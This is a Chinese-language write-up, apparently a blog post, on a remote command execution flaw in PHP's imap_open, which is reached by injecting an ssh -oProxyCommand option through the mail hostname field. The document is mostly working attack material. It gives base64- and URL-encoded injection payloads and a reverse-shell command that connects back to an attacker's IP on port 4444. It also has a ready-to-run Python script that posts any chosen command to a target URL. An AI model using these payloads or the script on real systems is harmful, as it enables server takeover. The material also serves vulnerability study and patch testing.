php imap远程命令执行漏洞
前言
php imap
扩展用于在PHP中执行邮件收发操作。其imap_open
函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。
因为ssh命令中可以通过设置-oProxyCommand=
来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。
漏洞复现
输入数据,抓包

1 2 3 4 5
| 上述中x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}的意思如下
使用url编码解码后x -oProxyCommand=echo ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64 -d|sh} ZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=的意思是echo '1234567890'>/tmp/test0001 通过-oProxyCommand参数执行命令,x可以是任意值
|
反弹shell
这里有很多反弹shell
的思路,可以直接传入命令执行反弹shell,但是更稳定的方法是写入反弹shell文件,然后执行反弹shell文件获得稳定控制权限,两种方法都行,看个人的喜好
直接构造payload
1 2 3 4 5 6 7 8
| echo "/bin/bash -i >& /dev/tcp/ip/4444 0>&1" > /tmp/123 # base64encode ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz # 将base64编码内容替换 x+-oProxyCommand%3decho%09[base64编码内容]|base64%09-d|sh}&username=111&password=222 x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA+IC90bXAvMTIz|base64%09-d|sh} # 将base64编码内容再次进行url编码 x+-oProxyCommand%3decho%09ZWNobyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4yMi4wLjEvNDQ0NCAwPiYxIiA%2bIC90bXAvMTIz|base64%09-d|sh}
|
直接提交
使用/bin/bash
触发/tmp/123
反弹shell脚本
1 2 3 4 5
| /bin/bash /tmp/123 # base64encode L2Jpbi9iYXNoIC90bXAvMTIz # 替换base64内容后进行url编码 x+-oProxyCommand%3decho%09L2Jpbi9iYXNoIC90bXAvMTIz|base64%09-d|sh}
|

拿到shell

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import requests import base64 from urllib.parse import quote
url = input("请输入url:") cmd = input("请输入想要执行的命令:")
def exploit(url, cmd): # base64编码 encodeb64 = base64.b64encode(cmd.encode('utf-8')).decode('utf-8') # url编码 encodeb64_url = quote(encodeb64) # 构造payload payload = f"x+-oProxyCommand%3decho%09{encodeb64_url}|base64%09-d|sh" data = { "hostname": payload, "username": 1, "password": 2 } response = requests.post(url, data=data) if response.status_code == 200: print("[+]利用成功") print(response.text) else: print("利用失败")
if __name__ == "__main__": exploit(url, cmd)
|